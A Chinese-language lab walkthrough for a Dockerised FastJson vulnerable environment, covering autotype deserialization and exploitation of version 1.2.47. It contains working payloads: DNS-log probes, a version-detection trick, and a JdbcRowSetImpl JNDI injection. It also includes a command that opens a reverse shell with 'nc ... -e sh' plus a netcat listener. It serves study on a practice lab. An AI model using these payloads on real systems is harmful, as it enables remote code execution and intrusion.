0x01 漏洞地址
================
FastJson全版本Docker漏洞环境(涵盖1.2.47/1.2.68/1.2.80等版本),主要包括JNDI注入、waf绕过、文件读写、原生反序列化、利用链探测绕过、不出网利用等。设定场景为黑盒利用,从黑盒的角度覆盖FastJson深入利用全过程,部分环境需要给到jar包反编译分析。
https://github.com/lemono0/FastJsonParty
Docker环境,开箱即用。
环境启动:docker-compose up -d
若docker拉取环境缓慢,请尝试使用国内镜像
https://mp.weixin.qq.com/s/5ENnnE0XQoT6AhqjjO-N2g
备注:配置完镜像源后,下面两个命令不能省略,缺一不可。不然可能会遇到配置了,速度还是很慢的情况
systemctl daemon-reload
systemctl restart docker
虚拟机环境使用kali即可,也可以使用自己的云服务器哈,也很方便,不会很臃肿。
首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。
Fastjson1.2.47以及之前的版本
登陆抓包
发现为json格式传入参数
删个末尾的},看报错,很标准的fastjson错误提示,确定后端使用的fastjson
{
"@type":"java.net.Inet4Address",
"val":"dnslog"
dns尝试是否出网
{
"@type":"java.net.Inet4Address",
"val":"utrlo999exbaatgilhb5rg03suylmea3.oastify.com"
}
探测准确的版本号
{
"@type": "java.lang.AutoCloseable"
通过报错,发现版本为1.2.47,很经典的版本漏洞,利用mappings缓存机制,JdbcRowSetImpl打jndi,但前提是需要机器出网。
关于这种方式探测fastjosn版本,条件是需要response中会回显报错信息,但实际环境可能存在不回显的情况,那就需要利用其他手段了,如dnslog、ddos等间接判断,比较麻烦,可以上网查查。
使用一个简单的办法
利用jndi注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A xx.xx.xx.xx -C "nc xx.xx.xx.xx 6667 -e sh"
开启监听
nc -lvp 6667
bp发包
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://xx.xx.xx.xx:1389/1pegbf",
"autoCommit":true
}
}
成功收到shell。
这是一种比较方便简单的办法,也可以尝试自己搭建web和ldap服务器来实现。
这个开源的docker靶场还是很方便的。想要学习fastjson相关的漏洞可以去玩一玩。